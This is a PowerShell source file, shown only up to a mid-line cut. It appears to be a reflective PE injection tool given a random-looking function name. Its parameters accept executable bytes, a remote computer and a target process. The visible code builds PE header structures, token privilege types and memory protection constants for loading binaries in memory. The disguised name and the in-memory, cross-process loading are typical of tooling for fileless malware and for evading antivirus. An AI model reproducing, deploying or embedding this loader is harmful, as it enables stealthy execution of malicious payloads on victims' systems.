function Invoke-DUDPZPHLTDLDARV { [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $true)] [ValidateNotNullOrEmpty()] [Byte[]] $PEBytes, [Parameter(Position = 1)] [String[]] $ComputerName, [Parameter(Position = 2)] [ValidateSet( 'WString', 'String', 'Void' )] [String] $FuncReturnType = 'Void', [Parameter(Position = 3)] [String] $ExeArgs, [Parameter(Position = 4)] [Int32] $ProcId, [Parameter(Position = 5)] [String] $ProcName, [Switch] $ForceASLR, [Switch] $DoNotZeroMZ ) Set-StrictMode -Version 2 $RemoteScriptBlock = { [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $true)] [Byte[]] $PEBytes, [Parameter(Position = 1, Mandatory = $true)] [String] $FuncReturnType, [Parameter(Position = 2, Mandatory = $true)] [Int32] $ProcId, [Parameter(Position = 3, Mandatory = $true)] [String] $ProcName, [Parameter(Position = 4, Mandatory = $true)] [Bool] $ForceASLR ) Function Get-Win32Types { $Win32Types = New-Object System.Object $Domain = [AppDomain]::CurrentDomain $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null $MachineType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null $MagicType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null $SubSystemType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null $DllCharacteristicsType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) $e_resField.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) $e_res2Field.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) $nameField.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null $LUID = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES return $Win32Types } Function Get-Win32Constants { $Win32Constants = New-Object System.Object $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 $Win32Constants | Add-Member -MemberType NoteProperty -Name 